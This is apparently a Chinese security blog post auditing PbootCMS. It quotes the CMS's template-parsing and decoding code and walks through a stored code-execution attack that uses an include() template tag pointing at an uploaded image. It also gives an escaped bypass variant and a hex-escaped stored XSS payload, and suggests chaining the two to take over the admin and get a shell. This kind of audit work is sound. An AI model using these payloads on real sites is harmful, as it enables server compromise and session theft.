Pbootcms审计

Oct 15, 2019 09:54 · 338 words · 2 minute read 代码审计

师傅分析的pbootcms1.2.1版本getshell文章

后台代码执行

下载最新版本,apps/home/controller/ParserController.php中的parserIfLabel函数的实现代码如下

    // 解析IF条件标签
    public function parserIfLabel($content)
    {
        $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        $pattern2 = '/pboot:([0-9])+if/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $flag = '';
                $out_html = '';
                $danger = false;
                
                $white_fun = array(
                    'date',
                    'in_array',
                    'explode',
                    'implode'
                );
                
                // 还原可能包含的保留内容,避免判断失效
                $matches[1][$i] = $this->restorePreLabel($matches[1][$i]);
                
                // 解码条件字符串
                $matches[1][$i] = decode_string($matches[1][$i]);
                
                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
                            $danger = true;
                            break;
                        }
                    }
                }
                
                // 不允许从外部获取数据
                if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) {
                    $danger = true;
                }
                
                // 如果有危险函数,则不解析该IF
                if ($danger) {
                    continue;
                }
                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');


                if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
                    switch ($flag) {
                        case 'if': // 条件为真
                            if (isset($matches2[1])) {
                                $out_html = $matches2[1];
                            }
                            break;
                        case 'else': // 条件为假
                            if (isset($matches2[2])) {
                                $out_html = $matches2[2];
                            }
                            break;
                    }
                } elseif ($flag == 'if') {
                    $out_html = $matches[2][$i];
                }
                
                // 无限极嵌套解析
                if (preg_match($pattern2, $out_html, $matches3)) {
                    $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
                    $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
                    $out_html = $this->parserIfLabel($out_html);
                }
                
                // 执行替换
                $content = str_replace($matches[0][$i], $out_html, $content);
            }
        }
        return $content;
    }



可以看到在2467行对eval函数进行了过滤,此时想到可以利用include来包含图片执行代码。

php >  var_dump(function_exists("include"));
bool(false)

可以看到include也是返回false。

上传图片。 这里的路径也可以看到。

接下来构造payload,

{pboot:if(include("./static/upload/image/20191013/1570972592462906.jpg"))}active{/pboot:if}

到网站首页留言处提交留言,然后到后台开启显示该留言,随后回到首页留言处刷新。

可以看到执行了代码

弯路

由于自己是在debug中调试代码的,所以在查看$matches数组的时候,就没有让他走完for循环,所以只看到了payload经过实体化的结果如图。(是很zz了…..)

然后就在尝试绕过。绕过的payload为。

{pboot:if(1\51include\50\42./static/upload/image/20191013/1570972592462906.jpg\42\51\73if\50true)}active{/pboot:if}

后面在看的时候才发现在第2462行对代码进行解码,解码函数如下

function decode_string($string)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = decode_string($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = decode_string($value);
        }
    } else { // 字符串处理
        $string = stripcslashes($string);
        $string = htmlspecialchars_decode($string, ENT_QUOTES);
    }
    return $string;
}

该函数会进行一次htmlspecialchars_decode解码,所以会直接把&quot;变为"。也就是在看这个解码函数的时候,发现了cms将留言从数据库取出的过程发现都会经过转码函数的处理。

存储XSS

/PbootCMS2.0.2/core/function/handle.php中的decode_string函数下还有一个decode_slashes`函数,代码如下


function decode_slashes($string)
{
    if (! $string)
        return $string;
    if (is_array($string)) { // 数组处理
        foreach ($string as $key => $value) {
            $string[$key] = decode_slashes($value);
        }
    } elseif (is_object($string)) { // 对象处理
        foreach ($string as $key => $value) {
            $string->$key = decode_slashes($value);
        }
    } else { // 字符串处理
        $string = stripcslashes($string);
    }
    return $string;
}

这里会用stripcslashes函数对字符串处理,该函数定义如下

该函数可以将字符串进行反转义,也就是可以把16进制转换为字符串。 跟踪该函数,可发现在此处调用

根据注释可以知道在内容输出处都会使用decode_slashes函数处理。

尝试xss,构造payload

\x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e

将payload填入留言。

后台刷新页面可以看到,成功实现xss。

在没有后台的情况下,可以尝试利用xss获取后台管理员的身份,再配合上面的代码执行getshell。

tweet Share